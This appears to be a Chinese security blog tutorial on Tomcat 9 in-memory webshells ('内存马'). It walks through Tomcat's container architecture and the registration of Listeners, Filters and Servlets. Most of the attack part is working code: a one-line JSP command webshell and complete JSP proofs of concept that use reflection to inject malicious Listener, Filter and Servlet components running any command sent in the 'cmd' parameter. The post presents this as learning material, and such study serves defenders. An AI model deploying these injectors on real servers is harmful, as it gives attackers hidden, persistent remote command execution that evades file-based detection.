作为后来的学习者和探索者,我深知自己站在巨人的肩膀上。每一项技术的进步背后,都有无数前人的辛勤付出与深思熟虑。正是他们的努力,才为我提供了这片沃土,让我能够在这个基础上继续思考和前行。虽然这篇文章只能算作我在这个领域的一次小小尝试,但我更希望它能成为对前辈们探索精神的一种致敬,并为后续的师傅提供一些参考和启发。
环境:
- tomcat 9.0.68
- java8
- idea
JSP木马
在普通的webshell攻击中,恶意代码通常存储在硬盘或外部设备上,以文件的形式存在(php、jsp),例如,以下是一个简单一句话木马。
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
System.out.println(process);
%>
在实战中,我们需要通过文件上传漏洞将webshell传到服务器。
传统的安全防护主要集中在文件系统层面,例如杀毒软件、文件监控、反病毒检测等,它们通过扫描硬盘上的恶意文件来发现和拦威胁,且传统的安全防护技术手段越来越成熟,导致现在的webshell容易被查杀
而Java内存马则不同,它将恶意代码直接加载到内存中运行。因为代码是直接在内存中执行的,它不需要保存到硬盘上,这使得它很难被传统的杀毒软件发现和检测。
传统web应用内存马(Tomcat内存马)
tomcat内存马主要有三个类型,Listener型、Filter型、Servlet,正好对应java web应用的三大组件,因此Tomcat内存马的实现原理是利用Java动态类加载和反射机制,动态注册恶意的Listener、Filter、Servlet或Valve等组件到Tomcat容器中,从而在内存中持久化恶意代码,实现隐蔽的攻击触发。
在正式开始学习内存马之前,建议了解一下Tomcat的架构
Tomcat架构
Apache Tomcat是由Apache软件基金会旗下的Jakarta项目开发的开源Servlet容器,实现了对Servlet和JavaServer Pages(JSP)的全面支持。由于其内含HTTP服务器功能,Tomcat既可以作为独立的Web服务器运行,也能与传统Web服务器配合使用,广泛应用于从中小型企业到大型企业级的Java Web应用开发中。
可以看到Tomcat Server大致可以分为三个组件,Service、Connector、Container
service
Service是 Tomcat 的一个主要组件,负责组织和管理 Connector和 Container的工作。一个 Service可以包含多个 Connector和 Container。它的作用是将所有相关的资源和功能组合在一起,确保 Tomcat 在处理请求时能够高效地协同工作。
Connector(连接器)
Connector负责接收来自客户端(如浏览器)的请求,并将这些请求传递给 Container进行处理。它处理网络协议(如 HTTP、HTTPS)和客户端与服务器之间的连接。
Container(容器)
Container是 Tomcat 的核心,负责实际处理 HTTP 请求的业务逻辑。包含四种子容器:Engine
、Host
、Context
和Wrapper
其中,一个Container对应一个Engine,一个Engine可以包含多个Host,一个Host可以包含多个Context,Context又包含多个Wrapper,各子容器的功能如下
Engine
Engine是 Container中的最顶层组件,负责处理所有的请求。它是 Tomcat 中的请求分发器,能够协调和管理所有的 Host
Host(主机)
Host代表一个虚拟主机。一个 Host通常对应一个域名或一个 IP 地址,它处理和管理特定的 Web 应用程序(通常对应于一个或多个网站)。每个 Host可以包含多个 Context,每个 Context对应一个 Web 应用。
Context(上下文)
Context代表一个 Web 应用,是 Tomcat 中的一个应用级容器。一个 Context通常对应一个单独的 Web 应用,它可以包含多个 Servlet、JSP 文件、HTML 页面等内容。同一个Host里面不同的Context,其contextPath必须不同,默认Context的contextPath为空格(“”)或斜杠(/)
下面找一个Tomcat的文件目录对照一下,如下图所示:
Context和Host的区别是Context表示一个应用,我们的Tomcat中默认的配置下webapps下的每一个文件夹目录都是一个Context,其中ROOT目录中存放着主应用,其他目录存放着子应用,而整个webapps就是一个Host站点。
Wrapper(封装器)
Wrapper是 Container中的一个组件,一个Container可以对应多个wrapper。它负责封装一个 Servlet。每个 Wrapper对应一个 Servlet,它管理该 Servlet 的生命周期(初始化、请求处理、销毁)。Wrapper是 Context中的一个重要组成部分,它决定了 Servlet如何在 Tomcat 中被加载和执行。
可以用一张图来表示请求在Container中的解析过程
当访问https://manage.xxx.com:8080/user/list
时,Tomcat 会按照以下流程处理请求:
-
请求接收:客户端通过 HTTPS 协议向 Tomcat 的 8080 端口发送请求。
-
Connector 处理:Tomcat 的
Connector
组件接收请求,并将其转换为内部的Request
对象。 -
Engine 路由:
Engine
组件根据请求的主机名(manage.xxx.com
)确定目标Host
。 -
Host 路由:
Host
组件根据请求的路径(/user/list
)确定目标Context
。 -
Context 路由:
Context
组件根据请求的路径确定目标Wrapper
。 -
Wrapper 调用 Servlet:
Wrapper
调用其封装的Servlet
的service()
方法,处理请求并生成响应。 -
响应返回:生成的响应通过上述层次返回给客户端。
了解了Tomcat容器之后,我们正式发车,开启内存马的学习之旅。
Listener型
Listener
是最先被加载的,根据前面内存马的实现思路,只要动态注册一个恶意的Listener
,就又可以形成一种内存马了。在tomcat中Listener分为ServletContextListener
、HttpSessionListener
或ServletRequestListener
,很明显ServletRequestListener
是最适合做内存马的,因为访问任何服务就能触发操作。
编写一个简单的ServletRequestListener
package com.example.listenshell;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
@WebListener
public class Shell_Listener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd"); // 从请求参数中获取命令
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd); // 执行命令
} catch (IOException e) {
e.printStackTrace(); // 打印异常信息
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
// 这里可以添加请求销毁时的逻辑(如果需要)
}
}
运行结果:
从代码层面分析Listener的创建流程
先来看一下调用栈
查看StandardContext类的fireRequestInitEvent方法,可见fireRequestInitEvent()调用了我们Listener的requestInitialized()方法
public boolean fireRequestInitEvent(ServletRequest request) {
Object instances[] = getApplicationEventListeners();
if ((instances != null) && (instances.length > 0)) {
ServletRequestEvent event =
new ServletRequestEvent(getServletContext(), request);
for (int i = 0; i < instances.length; i++) {
if (instances[i] == null)
continue;
if (!(instances[i] instanceof ServletRequestListener))
continue;
ServletRequestListener listener =
(ServletRequestListener) instances[i];
try {
listener.requestInitialized(event);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.requestListener.requestInit",
instances[i].getClass().getName()), t);
request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
return false;
}
}
}
return true;
}
我们往前跟,看下listener是从哪里来的。直接右键查看声明或用例,在前两行找到了listener的实现,来自于instances[i],在旁边也显示出listener就是我们创建的Shell_Listener,那就说明至少在这一步或者前一步我们的listener已经被创建了。
我们继续往前跟,查看instances[i]是怎么产生的。最终定位到这里,显示listener已经存在。
继续跟进getApplicationEventListeners()
经过询问AI,这段代码的作用是将存储在applicationEventListenersList
集合中的所有事件监听器对象转换为数组,并返回给调用者。那么,意思就是Listener实际上是存储在applicationEventListenersList
属性中。
所以我们的下一步就要找到Litener是如何被添加到applicationEventListenersList中的,这里我们直接查找用法,不出意外找到了五处applicationEventListenersList
被应用的地方。
根据字面意思,addApplicationEventListener()是最有可能监听器被添加的地方。不出所料。
编写Listener内存马
根据我们在上面的内容,我们可以得出以下结论:
如果我们想要写一个Listener
内存马,需要经过以下步骤:
-
继承并编写一个恶意
Listener
-
获取
StandardContext
上下文 -
调用
StandardContext.addApplicationEventListener()
添加恶意Listener
创建shell.jsp,并写出以下的内存马:
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%!
public class Shell_Listener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Shell_Listener shellListener = new Shell_Listener();
context.addApplicationEventListener(shellListener);
out.println("Inject Listener Memory Shell successfully!");
%>
访问shell.jsp
此刻我们的内存马创建成功,访问任意路由即可触发
Filter内存马
编写一个简单的Filter
package com.example.filtershell;
import javax.servlet.*;
import java.io.IOException;
import static java.lang.System.out;
public class Test_Filter implements javax.servlet.Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter initialized");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
System.out.println("Filter processing request");
chain.doFilter(request, response);
}
@Override
public void destroy() {
out.println("Filter destroyed");
}
}
web.xml配置
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1">
<filter>
<filter-name>test</filter-name>
<filter-class>com.example.filtershell.Test</filter-class>
</filter>
<filter-mapping>
<filter-name>test</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
当我们访问任何路由的时候,控制台继续输出Filter processing request,当我们结束tomcat的时候,会触发destroy方法,从而输出Filter destroyed
从代码层面分析filter的创建流程
我们在过滤器进行过滤的地方,也就是doFilter()那里打上断点,观察调用栈。
我们从上往下跟进,先进入ApplicationFilterChain#internalDoFilter。
在internalDoFilter函数中通过filter调用了doFilter,而filter是通过filterConfig.getFilter()得到。
我们注意到filterConfig是ApplicationFilterConfig对象。来自于ApplicationFilterConfig类,那么大概率在前面new了一个ApplicationFilterConfig对象,于是全局搜索关键词new ApplicationFilterConfig,果然如此。
继续往下跟进调用栈,在ApplicationFilterChain#doFilter调用了ApplicationFilterChain#internalDoFilter
那么接下来再通过调用栈分析谁调用了ApplicationFilterChain#doFilter,于是来到StandardContextValve类,通过filterChain调用了ApplicationFilterChain#doFilter
而filterChain来自于ApplicationFilterFactory#createFilterChain
我们跟进
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
if (servlet == null) {
return null;
} else {
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request)request;
if (Globals.IS_SECURITY_ENABLED) {
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain)req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
filterChain = new ApplicationFilterChain();
}
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
String requestPath = null;
Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
if (attribute != null) {
requestPath = attribute.toString();
}
String servletName = wrapper.getName();
FilterMap[] var10 = filterMaps;
int var11 = filterMaps.length;
int var12;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
for(var12 = 0; var12 < var11; ++var12) {
filterMap = var10[var12];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}
var10 = filterMaps;
var11 = filterMaps.length;
for(var12 = 0; var12 < var11; ++var12) {
filterMap = var10[var12];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}
return filterChain;
} else {
return filterChain;
}
}
}
从createFilterChain函数中,我们能够清晰地看到filterChain对象的创建过程
-
创建空的过滤器链
filterChain = new ApplicationFilterChain()
→ 初始化一个空的过滤器链容器。 -
获取上下文对象
StandardContext context = (StandardContext) wrapper.getParent()
→ 通过Wrapper
获取其父容器StandardContext
(管理当前Web应用的配置)。 -
提取过滤器映射规则
FilterMap[] filterMaps = context.findFilterMaps()
→ 从StandardContext
中获取所有过滤器的映射规则(URL路径、Servlet名称等)。 -
匹配并获取过滤器配置
// 遍历FilterMap,通过名称查找对应的FilterConfig
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());→ 根据
FilterMap
中的名称,从StandardContext
中获取具体的过滤器配置。 -
将过滤器加入链中
filterChain.addFilter(filterConfig)
→ 将匹配的过滤器按顺序添加到链中,最终形成完整的执行链。
void addFilter(ApplicationFilterConfig filterConfig) {
// Prevent the same filter being added multiple times
for(ApplicationFilterConfig filter:filters)
if(filter==filterConfig)
return;
if (n == filters.length) {
ApplicationFilterConfig[] newFilters =
new ApplicationFilterConfig[n + INCREMENT];
System.arraycopy(filters, 0, newFilters, 0, n);
filters = newFilters;
}
filters[n++] = filterConfig;
}
如图示:
到这里,filter的创建流程我们就梳理完了。所以,我们的核心就是创建一个恶意的Filter添加到FilterConfig中。
Filter容器与FilterDefs、FilterConfigs、FilterMaps
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
跟进ApplicationFilterFactory#createFilterChain的执行流程流程,上下文(StandardContext)包含了FilterDefs、FilterConfigs、FilterMaps。
FilterMaps
以array形式存放着过滤器名字和映射路径
FilterConfigs
在 FilterConfig 中主要存放 FilterDef 和 Filter对象
FilterDefs
以键值对的形式存储filterDef
编写内存马
根据我们在上面的分析,我们可以得出以下结论:
如果我们想要写一个Filter内存马,需要经过以下步骤:
-
获取
StandardContext
; -
编写一个恶意
filter
; -
实例化一个
FilterDef
类,包装filter
并存放到StandardContext.filterDefs
中; -
实例化一个
FilterMap
类,并将路径和Filtername绑定,添加到filterMaps中; -
使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中
获取StandardContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
创建恶意filter
public class FilterMemshell implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException { }
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletResponse.setContentType("text/html;charset=UTF-8");
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
InputStream input = p.getInputStream();
InputStreamReader ins = new InputStreamReader(input, "GBK");
BufferedReader br = new BufferedReader(ins);
servletResponse.getWriter().write("<pre>");
String line;
while ((line = br.readLine()) != null) {
servletResponse.getWriter().write(line);
}
servletResponse.getWriter().write("</pre>");
br.close();
ins.close();
input.close();
p.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() { }
}
创建filterdef,并添加到上下文中
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilter(filterMemshell);
filterDef.setFilterClass(filterMemshell.getClass().getName());
standardContext.addFilterDef(filterDef);
创建 filtermap,并添加到上下文中
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.addURLPattern("/*");
封装filterConfig及filterDef到filterConfigs
Constructor<ApplicationFilterConfig> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
declaredConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = declaredConstructor.newInstance(standardContext, filterDef);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put(name, applicationFilterConfig);
response.getWriter().println("inj success");
完整poc
<%@ page import="java.io.*, java.lang.reflect.*, java.util.*, javax.servlet.*, javax.servlet.Filter, javax.servlet.FilterConfig, javax.servlet.FilterChain, javax.servlet.ServletRequest, javax.servlet.ServletResponse, javax.servlet.ServletException" %>
<%@ page import="org.apache.catalina.core.ApplicationContext, org.apache.catalina.core.StandardContext, org.apache.tomcat.util.descriptor.web.FilterDef, org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig, org.apache.catalina.Context" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class Shell_Filter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException { }
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
response.setContentType("text/html;charset=UTF-8");
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
InputStream inputStream = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
StringBuilder output = new StringBuilder("<pre>");
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
output.append("</pre>");
response.getWriter().write(output.toString());
reader.close();
return;
}
chain.doFilter(request, response);
}
@Override
public void destroy() { }
}
%>
<%
try {
// 获取 StandardContext
ServletContext servletContext = request.getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 定义 Filter
Shell_Filter filter = new Shell_Filter();
String filterName = "CommonFilter";
// 创建 FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// 创建 FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
standardContext.addFilterMap(filterMap);
// 通过反射获取 filterConfigs 并添加新 filter
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
// 反射创建 ApplicationFilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(filterName, filterConfig);
response.getWriter().println("Injection successful!");
} catch (Exception e) {
e.printStackTrace(response.getWriter());
}
%>
先访问jsp文件
再访问任意路由执行命令
Servlet型内存马
编写一个简单的Servlet
package com.example.Servletshell;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class Myservlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().println("myservlet");
}
}
web.xml配置
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>Myservlet</servlet-name>
<servlet-class>com.example.Servletshell.Myservlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Myservlet</servlet-name>
<url-pattern>/my</url-pattern>
</servlet-mapping>
</web-app>
访问/my
servlet初始化流程分析
先看调用栈
我们知道wrapper负责封装Servlet,因此我们从Wrapper的创建开始来探究Servlet的初始化流程。于是我们来到ContextConfig#configureContext
接下来我们看ContextConfig#configureContext中的这段代码:
for (ServletDef servlet : webxml.getServlets().values()) {
Wrapper wrapper = context.createWrapper();
//控制 Servlet 在 Web 应用启动时是否提前加载,以及确定加载的顺序
if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
//设置ServletName属性
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
//设置ServletClass属性
wrapper.setServletClass(servlet.getServletClass());
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;
if(null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if(null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if(null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}
wrapper.setMultipartConfigElement(new MultipartConfigElement(
multipartdef.getLocation(),
maxFileSize,
maxRequestSize,
fileSizeThreshold));
}
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(
servlet.getAsyncSupported().booleanValue());
}
wrapper.setOverridable(servlet.isOverridable());
//将包装好的StandWrapper添加进ContainerBase的children属性中
context.addChild(wrapper);
}
//添加路径映射
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
解析 web.xml 文件中的 servlet 配置,将 servlet 及其属性(启动顺序、类名、参数等)注册到 Web 容器的context
中,并设置 URL 映射。
也就是说,Servlet
的初始化主要经历以下六个步骤:
-
创建
Wapper
对象; -
设置
Servlet
的LoadOnStartUp
的值; -
设置
Servlet
的名称; -
设置
Servlet
的class
; -
将配置好的
Wrapper
添加到Context
中; -
将
url
和servlet
类做映射
接着我们查找谁调用了ContextConfig#configureContext
点进去ContextConfig#webConfig
我们发现ContextConfig#webConfig()
方法解析web.xml获取各种配置参数
接着我们跟着调用栈,从上往下跟到StandardContext#startInternal,通过findChildren()获取StandardWrapper类
然后加载完listener、filter,通过loadOnStartUp()
方法加载wrapper
跟进loadOnStartup,代码如下
public boolean loadOnStartup(Container children[]) {
TreeMap<Integer,ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
map.computeIfAbsent(key, k -> new ArrayList<>()).add(wrapper);
}
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
} catch (ServletException e) {
getLogger().error(
sm.getString("standardContext.loadOnStartup.loadException", getName(), wrapper.getName()),
StandardWrapper.getRootCause(e));
if (getComputedFailCtxIfServletStartFails()) {
return false;
}
}
}
}
return true;
}
编写poc
根据我们上面的分析可以得出以下结论:
如果我们想要写一个Servlet
内存马,需要经过以下步骤:
-
寻找
StandardContext
-
继承并编写一个恶意
servlet
-
创建
Wapper
对象 -
设置
Servlet
的LoadOnStartUp
的值 -
设置
Servlet
的Name
-
设置
Servlet
对应的Class
-
将
Servlet
添加到context
的children
中 -
将
url
路径和servlet
类做映射
完整poc:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
public class Memshell extends HttpServlet {
@Override
public void init() throws ServletException {
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html;charset=UTF-8");
String cmd = request.getParameter("cmd");
if(cmd != null){
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
InputStream input = p.getInputStream();
InputStreamReader ins = new InputStreamReader(input, "GBK");
BufferedReader br = new BufferedReader(ins);
response.getWriter().write("<pre>");
String line;
while((line = br.readLine()) != null) {
response.getWriter().write(line);
}
response.getWriter().write("</pre>");
br.close();
ins.close();
input.close();
p.getOutputStream().close();
}
}
@Override
public void destroy() {
}
}
%>
<%
//System.out.println(request.getServletContext());
Memshell memshell = new Memshell();
ServletContext servletContext = request.getServletContext();
Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)contextField.get(servletContext);
Field applicationContextField = applicationContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)applicationContextField.get(applicationContext);
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("memshell");
wrapper.setServletClass(memshell.getClass().getName());
wrapper.setServlet(memshell);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell", "memshell");
%>
</body>
</html>
访问memshell.jsp文件
访问对应路径进行命令执行
后记
写这篇关于传统Web应用内存马(Tomcat内存马)的文章时,我深刻感受到自己在安全技术领域仍有许多不足之处。尽管我通过学习和实践积累了一些经验,但在分析和理解这一领域复杂性时,依然存在许多盲点和不足。每次思考和写作时,我都能感受到自己的技术水平还不够成熟,很多细节和安全策略需要进一步完善。
这篇文章的完成,也让我更加意识到,网络安全是一个永无止境的学习过程。随着技术的不断发展和攻击手段的不断演进,我们必须时刻保持谦虚,保持对新技术的敏感,并不断提升自己的能力。在未来的工作中,我会继续深入探索和研究,努力弥补现有的不足,提升自己的技术水平,以便更好地应对日益复杂的网络安全挑战。
希望这篇文章能够为读者提供一些参考,也希望能得到更多来自朋友的指导和建议,共同进步。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)